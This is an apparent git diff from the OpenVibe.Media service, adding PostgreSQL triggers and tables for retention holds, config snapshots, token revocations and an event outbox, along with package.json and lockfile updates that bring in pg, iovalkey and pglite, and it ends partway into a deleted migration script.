+CREATE FUNCTION trg_media_objects_hold_delete_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.id))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;
+CREATE TRIGGER trg_media_objects_hold_delete_v2 BEFORE DELETE ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_hold_delete_v2();
+
+CREATE FUNCTION trg_media_objects_visibility_event() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.visibility IS DISTINCT FROM NEW.visibility AND NEW.lifecycle_status != 'deleted' THEN INSERT INTO media_object_changes (object_id, change, previous_visibility, visibility) VALUES (NEW.id, 'visibility_changed', OLD.visibility, NEW.visibility); END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_media_objects_visibility_event AFTER UPDATE OF visibility ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_visibility_event();
+
+CREATE FUNCTION trg_media_objects_deleted_event() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' THEN INSERT INTO media_object_changes (object_id, change, previous_visibility) VALUES (NEW.id, 'deleted', OLD.visibility); END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_media_objects_deleted_event AFTER UPDATE OF lifecycle_status ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_deleted_event();
+
+-- openvibe-shared/config on PostgreSQL (configSchema()): the revisioned policies media.storage_tier and media.object_tier
+CREATE TABLE IF NOT EXISTS config_snapshots (
+ namespace text COLLATE "C" NOT NULL,
+ revision bigint NOT NULL,
+ service text COLLATE "C" NOT NULL,
+ previous_revision bigint,
+ state text COLLATE "C" NOT NULL CHECK (state IN ('proposed', 'active', 'superseded', 'rejected', 'rolled_back')),
+ values_json text COLLATE "C" NOT NULL, -- the full values, secrets included (never served)
+ classification_json text COLLATE "C" NOT NULL,
+ values_checksum text COLLATE "C" NOT NULL, -- sha256 of the full values: internal, never served
+ created_at text COLLATE "C" NOT NULL,
+ created_by text COLLATE "C" NOT NULL,
+ activated_at text COLLATE "C",
+ activated_by text COLLATE "C",
+ reason text COLLATE "C",
+ error text COLLATE "C",
+ copied_from bigint,
+ good bigint NOT NULL DEFAULT 0, -- 1 once it activated successfully (last-known-good)
+ PRIMARY KEY (namespace, revision)
+);
+CREATE UNIQUE INDEX IF NOT EXISTS config_snapshots_one_active ON config_snapshots (namespace) WHERE state = 'active';
+-- The fingerprint key of each namespace. Never served, never logged.
+CREATE TABLE IF NOT EXISTS config_keys (
+ namespace text COLLATE "C" PRIMARY KEY,
+ hmac_key bytea NOT NULL,
+ created_at text COLLATE "C" NOT NULL
+);
+
+-- openvibe-sdk/auth createPgRevocationStore: Network's per-person token cutoffs (revocationSchema('token_revocations'))
+CREATE TABLE IF NOT EXISTS token_revocations (
+ subject_id text COLLATE "C" PRIMARY KEY,
+ valid_after_ms bigint NOT NULL,
+ reason text,
+ updated_at bigint NOT NULL
+);
+
+-- Rows the SQLite boot seeded
+INSERT INTO media_settings (key, value, description, type) VALUES
+ ('namespaces.reservations_seeded', '2026-09-28T19:44:20.852Z', '', 'string'),
+ ('max_clip_duration', '60', 'Maximum clip length in seconds', 'number'),
+ ('paste_max_size_kb', '512', 'Maximum paste content size in KB', 'number'),
+ ('paste_screenshot_max_size_mb', '8', 'Maximum screenshot upload size in MB', 'number'),
+ ('paste_cooldown_seconds', '30', 'Cooldown between paste submissions in seconds (user-JWT callers)', 'number'),
+ ('paste_max_per_user_per_day', '200', 'Maximum pastes per user per day (0 = unlimited)', 'number'),
+ ('paste_comment_cooldown_seconds', '10', 'Cooldown between paste comments in seconds', 'number'),
+ ('paste_comment_max_length', '2000', 'Maximum paste comment length in characters', 'number'),
+ ('paste_comment_anon_allowed', 'true', 'Allow anonymous comments on pastes', 'boolean'),
+ ('views_migrated_v2', '1', 'Internal: legacy content_views imported', 'boolean'),
+ ('view_cooldown_sec', '21600', 'A visitor counts as a new view of the same item only after this many seconds (anti refresh-spam). 0 = every visit', 'number'),
+ ('view_ip_events_per_min', '60', 'Drop view events from an IP that fires more than this many per minute (across all content)', 'number');
+
+-- openvibe-sdk/events PostgreSQL outbox
+CREATE TABLE IF NOT EXISTS event_outbox (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ event_id text NOT NULL UNIQUE,
+ envelope jsonb NOT NULL,
+ traceparent text,
+ created_at bigint NOT NULL,
+ attempts integer NOT NULL DEFAULT 0,
+ next_attempt_at bigint NOT NULL DEFAULT 0,
+ sent_at bigint,
+ seq bigint,
+ rejected_at bigint,
+ last_error text
+);
+CREATE INDEX IF NOT EXISTS event_outbox_due ON event_outbox (next_attempt_at, id) WHERE sent_at IS NULL AND rejected_at IS NULL;
+CREATE INDEX IF NOT EXISTS event_outbox_sent ON event_outbox (sent_at) WHERE sent_at IS NOT NULL;
@@ -15,11 +15,16 @@
@@ -15,11 +15,16 @@
"better-sqlite3": "^11.0.0",
"better-sqlite3": "^11.0.0",
"dotenv": "^16.4.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"express": "^4.19.2",
+ "iovalkey": "^0.4.0",
"multer": "^1.4.5-lts.1",
"multer": "^1.4.5-lts.1",
- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",
- "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0",
- "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",
+ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",
+ "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",
+ "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",
+ "pg": "^8.23.0",
"sharp": "^0.33.4"
"sharp": "^0.33.4"
+ },
+ "devDependencies": {
+ "@electric-sql/pglite": "^0.5.8"
}
}
},
},
"node_modules/@aws-sdk/checksums": {
"node_modules/@aws-sdk/checksums": {
@@ -367,6 +372,13 @@
@@ -367,6 +372,13 @@
"node": ">=18.0.0"
"node": ">=18.0.0"
}
}
},
},
+ "node_modules/@electric-sql/pglite": {
+ "version": "0.5.8",
+ "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.5.8.tgz",
+ "integrity": "sha512-n9tsbUOhwx2epK1V0ZG9Ar4SHWUju04dhmzZXiSBXwBoleOvIfals33NAaWgagQVAL4Rbvx/Ptsu3P+pA09f6Q==",
+ "devOptional": true,
+ "license": "Apache-2.0"
+ },
"node_modules/@emnapi/runtime": {
"node_modules/@emnapi/runtime": {
"version": "1.11.3",
"version": "1.11.3",
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz",
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz",
@@ -738,6 +750,12 @@
@@ -738,6 +750,12 @@
"url": "https://opencollective.com/libvips"
"url": "https://opencollective.com/libvips"
}
}
},
},
+ "node_modules/@iovalkey/commands": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/@iovalkey/commands/-/commands-0.1.0.tgz",
+ "integrity": "sha512-/B9W4qKSSITDii5nkBCHyPkIkAi+ealUtr1oqBJsLxjSRLka4pxun2VvMNSmcwgAMxgXtQfl0qRv7TE+udPJzg==",
+ "license": "MIT"
+ },
"node_modules/@smithy/core": {
"node_modules/@smithy/core": {
"version": "3.33.2",
"version": "3.33.2",
"resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.33.2.tgz",
"resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.33.2.tgz",
@@ -1049,6 +1067,15 @@
@@ -1049,6 +1067,15 @@
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
"license": "ISC"
"license": "ISC"
},
},
+ "node_modules/cluster-key-slot": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz",
+ "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
"node_modules/color": {
"node_modules/color": {
"version": "4.2.3",
"version": "4.2.3",
"resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz",
"resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz",
@@ -1180,6 +1207,15 @@
@@ -1180,6 +1207,15 @@
"node": ">=4.0.0"
"node": ">=4.0.0"
}
}
},
},
+ "node_modules/denque": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz",
+ "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
"node_modules/depd": {
"node_modules/depd": {
"version": "2.0.0",
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
@@ -1598,6 +1634,49 @@
@@ -1598,6 +1634,49 @@
"integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
"integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
"license": "ISC"
"license": "ISC"
},
},
+ "node_modules/iovalkey": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/iovalkey/-/iovalkey-0.4.0.tgz",
+ "integrity": "sha512-OSUKxJ+s44CLdUTaicX4+pVrBN/zHKIYwr2oKhRDuczr19FwcSCXEZHzcMUYWZNh1mNSCV9bNJHW/T6cHVm9Aw==",
+ "license": "MIT",
+ "dependencies": {
+ "@iovalkey/commands": "^0.1.0",
+ "cluster-key-slot": "^1.1.0",
+ "debug": "^4.3.4",
+ "denque": "^2.1.0",
+ "lodash.defaults": "^4.2.0",
+ "lodash.isarguments": "^3.1.0",
+ "redis-errors": "^1.2.0",
+ "redis-parser": "^3.0.0",
+ "standard-as-callback": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=18.12.0"
+ }
+ },
+ "node_modules/iovalkey/node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/iovalkey/node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "license": "MIT"
+ },
"node_modules/ipaddr.js": {
"node_modules/ipaddr.js": {
"version": "1.9.1",
"version": "1.9.1",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
@@ -1674,12 +1753,24 @@
@@ -1674,12 +1753,24 @@
"safe-buffer": "^5.0.1"
"safe-buffer": "^5.0.1"
}
}
},
},
+ "node_modules/lodash.defaults": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",
+ "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==",
+ "license": "MIT"
+ },
"node_modules/lodash.includes": {
"node_modules/lodash.includes": {
"version": "4.3.0",
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
"resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
"integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==",
"integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==",
"license": "MIT"
"license": "MIT"
},
},
+ "node_modules/lodash.isarguments": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz",
+ "integrity": "sha512-chi4NHZlZqZD18a0imDHnZPrDeBbTtVN7GXMwuGdRH9qotxAjYs3aVLKc7zNOG9eddR5Ksd8rvFEBc9SsggPpg==",
+ "license": "MIT"
+ },
"node_modules/lodash.isboolean": {
"node_modules/lodash.isboolean": {
"version": "3.0.3",
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
"resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
@@ -1919,9 +2010,9 @@
@@ -1919,9 +2010,9 @@
}
}
},
},
"node_modules/openvibe-contracts": {
"node_modules/openvibe-contracts": {
- "version": "0.71.0",
- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",
- "integrity": "sha512-BLS6gP/MKuwhvTdWO8UYUaOyhmf7ni0cQ8r7150o57R5TrCnzdWQEVESxfMFCGgSbm2wdKtdZwTID69nxD14Tg==",
+ "version": "0.76.0",
+ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",
+ "integrity": "sha512-zTdx776KWrcJKm1JTnf+0+BnsvswdvXy1ldPyse1hSqhnW/SSr98sX696eRetFUhTl8qVM1xSRCykqIUbqItPw==",
"license": "AGPL-3.0-only",
"license": "AGPL-3.0-only",
"dependencies": {
"dependencies": {
"ajv": "^8.17.1",
"ajv": "^8.17.1",
@@ -1935,18 +2026,38 @@
@@ -1935,18 +2026,38 @@
}
}
},
},
"node_modules/openvibe-sdk": {
"node_modules/openvibe-sdk": {
- "version": "0.12.0",
- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0",
- "integrity": "sha512-iG1h905O1f7y/PnP8xLA6GCVzXEBDfSaBj2tc1ucNreWg2sT/AJWosb8NW0WRMK5WS4sIQ6tMsprmDLj/fjjeQ==",
+ "version": "0.21.2",
+ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",
+ "integrity": "sha512-k04b9r2FCYVIhb8KLNrr5y43eb1l3UKzYNKl9m/vqMRAjZGh4p3pI2I/8UFU9bosKD8KAS121OO4rH8NUtx4sg==",
"license": "MIT",
"license": "MIT",
"engines": {
"engines": {
"node": ">=20"
"node": ">=20"
+ },
+ "peerDependencies": {
+ "@electric-sql/pglite": "^0.5.8",
+ "better-sqlite3": ">=11",
+ "iovalkey": "^0.4.0",
+ "pg": "^8.23.0"
+ },
+ "peerDependenciesMeta": {
+ "@electric-sql/pglite": {
+ "optional": true
+ },
+ "better-sqlite3": {
+ "optional": true
+ },
+ "iovalkey": {
+ "optional": true
+ },
+ "pg": {
+ "optional": true
+ }
}
}
},
},
"node_modules/openvibe-shared": {
"node_modules/openvibe-shared": {
- "version": "1.25.0",
- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",
- "integrity": "sha512-oqZ+PvljrWi8IEbtg6bDYai17ZV2sALFx/ezMptniELSr10TgFUiGUQt+b1IWwiHv0T2Y1U2iSrkirJxMNgjSw==",
+ "version": "1.28.0",
+ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",
+ "integrity": "sha512-WLd11lDG75veVi7mFwngquK2nqIQV86Z14Ad/xE2dYvyMT5mhKJxxxlKUoskpdyLeap0ucMvzzS8Tg7vPGwYoQ==",
"license": "MIT",
"license": "MIT",
"dependencies": {
"dependencies": {
"jsonwebtoken": "^9.0.0"
"jsonwebtoken": "^9.0.0"
@@ -1967,6 +2078,134 @@
@@ -1967,6 +2078,134 @@
"integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==",
"integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==",
"license": "MIT"
"license": "MIT"
},
},
+ "node_modules/pg": {
+ "version": "8.23.0",
+ "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.0.tgz",
+ "integrity": "sha512-Ip2EQCngowJLGOfCwkFhPXU7/ljlhn6Rxlmy4XYfL2Y+vyRM59+8uR2xqRWKdYmbXmxCFOAmKxBuSUCdF34qLg==",
+ "license": "MIT",
+ "dependencies": {
+ "pg-connection-string": "^2.14.0",
+ "pg-pool": "^3.14.0",
+ "pg-protocol": "^1.16.0",
+ "pg-types": "2.2.0",
+ "pgpass": "1.0.5"
+ },
+ "engines": {
+ "node": ">= 16.0.0"
+ },
+ "optionalDependencies": {
+ "pg-cloudflare": "^1.4.0"
+ },
+ "peerDependencies": {
+ "pg-native": ">=3.0.1"
+ },
+ "peerDependenciesMeta": {
+ "pg-native": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/pg-cloudflare": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz",
+ "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==",
+ "license": "MIT",
+ "optional": true
+ },
+ "node_modules/pg-connection-string": {
+ "version": "2.14.0",
+ "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.0.tgz",
+ "integrity": "sha512-XwWDGcLRGCXAR8F/AM5bG7Q+A3Wm2s6QeEjlOKZLlH3UYcguiqCWKyWXVag5TLTIjR7oOJUY8kcADaZgWPyLeg==",
+ "license": "MIT"
+ },
+ "node_modules/pg-int8": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz",
+ "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==",
+ "license": "ISC",
+ "engines": {
+ "node": ">=4.0.0"
+ }
+ },
+ "node_modules/pg-pool": {
+ "version": "3.14.0",
+ "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz",
+ "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==",
+ "license": "MIT",
+ "peerDependencies": {
+ "pg": ">=8.0"
+ }
+ },
+ "node_modules/pg-protocol": {
+ "version": "1.16.0",
+ "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.0.tgz",
+ "integrity": "sha512-sILXutLVjCLjcDuOmvhX5e2Z4cS5qG/6Bu3VkpFwdf/633ElGLpEh9bgmuI5I4sqKqkifQiGyiCcx1HdtrK7tg==",
+ "license": "MIT"
+ },
+ "node_modules/pg-types": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz",
+ "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==",
+ "license": "MIT",
+ "dependencies": {
+ "pg-int8": "1.0.1",
+ "postgres-array": "~2.0.0",
+ "postgres-bytea": "~1.0.0",
+ "postgres-date": "~1.0.4",
+ "postgres-interval": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/pgpass": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz",
+ "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==",
+ "license": "MIT",
+ "dependencies": {
+ "split2": "^4.1.0"
+ }
+ },
+ "node_modules/postgres-array": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz",
+ "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/postgres-bytea": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz",
+ "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/postgres-date": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz",
+ "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/postgres-interval": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz",
+ "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==",
+ "license": "MIT",
+ "dependencies": {
+ "xtend": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
"node_modules/prebuild-install": {
"node_modules/prebuild-install": {
"version": "7.1.3",
"version": "7.1.3",
"resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
"resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
@@ -2099,6 +2338,27 @@
@@ -2099,6 +2338,27 @@
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
"license": "MIT"
"license": "MIT"
},
},
+ "node_modules/redis-errors": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz",
+ "integrity": "sha512-1qny3OExCf0UvUV/5wpYKf2YwPcOqXzkwKKSmKHiE6ZMQs5heeE/c8eXK+PNllPvmjgAbfnsbpkGZWy8cBpn9w==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/redis-parser": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz",
+ "integrity": "sha512-DJnGAeenTdpMEH6uAJRK/uiyEIH9WVsUmoLwzudwGJUwZPp80PDBWPHXSAGNPwNvIXAbe7MSUB1zQFugFml66A==",
+ "license": "MIT",
+ "dependencies": {
+ "redis-errors": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/require-from-string": {
"node_modules/require-from-string": {
"version": "2.0.2",
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
@@ -2362,6 +2622,21 @@
@@ -2362,6 +2622,21 @@
"is-arrayish": "^0.3.1"
"is-arrayish": "^0.3.1"
}
}
},
},
+ "node_modules/split2": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz",
+ "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==",
+ "license": "ISC",
+ "engines": {
+ "node": ">= 10.x"
+ }
+ },
+ "node_modules/standard-as-callback": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz",
+ "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==",
+ "license": "MIT"
+ },
"node_modules/statuses": {
"node_modules/statuses": {
"version": "2.0.2",
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
@@ -1,27 +1,33 @@
@@ -1,27 +1,33 @@
{
{
"name": "openvibe-media",
"name": "openvibe-media",
"version": "1.0.0",
"version": "1.0.0",
- "description": "OpenVibe.Media — multi-tenant media service (VOD ingest/recording, storage tiering, clips, pastes, files, thumbnails)",
+ "description": "OpenVibe.Media \u2014 multi-tenant media service (VOD ingest/recording, storage tiering, clips, pastes, files, thumbnails)",
"main": "server/index.js",
"main": "server/index.js",
"scripts": {
"scripts": {
"start": "node server/index.js",
"start": "node server/index.js",
"init-db": "node server/db/init.js",
"init-db": "node server/db/init.js",
"smoke": "bash scripts/smoke-test.sh",
"smoke": "bash scripts/smoke-test.sh",
"test": "node test/run.js",
"test": "node test/run.js",
- "n-1:record": "node scripts/n-1-record.js"
+ "n-1:record": "node scripts/n-1-record.js",
+ "test:pg": "MEDIA_TEST_STORE=pg node test/run.js"
},
},
"license": "MIT",
"license": "MIT",
"dependencies": {
"dependencies": {
- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",
- "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0",
"@aws-sdk/client-s3": "^3.600.0",
"@aws-sdk/client-s3": "^3.600.0",
"@aws-sdk/lib-storage": "^3.600.0",
"@aws-sdk/lib-storage": "^3.600.0",
"@aws-sdk/s3-request-presigner": "^3.600.0",
"@aws-sdk/s3-request-presigner": "^3.600.0",
"better-sqlite3": "^11.0.0",
"better-sqlite3": "^11.0.0",
"dotenv": "^16.4.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"express": "^4.19.2",
+ "iovalkey": "^0.4.0",
"multer": "^1.4.5-lts.1",
"multer": "^1.4.5-lts.1",
- "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",
+ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",
+ "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",
+ "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",
+ "pg": "^8.23.0",
"sharp": "^0.33.4"
"sharp": "^0.33.4"
+ },
+ "devDependencies": {
+ "@electric-sql/pglite": "^0.5.8"
}
}
}
}
deleted file mode 100755
deleted file mode 100755
@@ -1,34 +0,0 @@
@@ -1,34 +0,0 @@
-#!/usr/bin/env node
-'use strict';
-/**
- * Project every existing vod, clip, file, screenshot/avatar paste and thumbnail onto the canonical
- * object model (media_objects + media_locations; docs/object-model.md). Idempotent — re-runs update
